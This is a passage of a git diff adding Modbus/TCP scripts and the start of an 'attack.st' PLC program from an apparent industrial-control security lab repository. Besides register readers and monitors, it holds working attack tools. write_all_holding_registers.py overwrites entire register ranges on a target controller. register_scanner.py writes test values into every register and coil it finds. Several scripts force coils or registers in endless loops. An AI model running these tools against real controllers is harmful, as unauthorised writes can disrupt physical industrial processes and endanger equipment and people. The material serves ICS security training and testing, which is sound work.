DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + 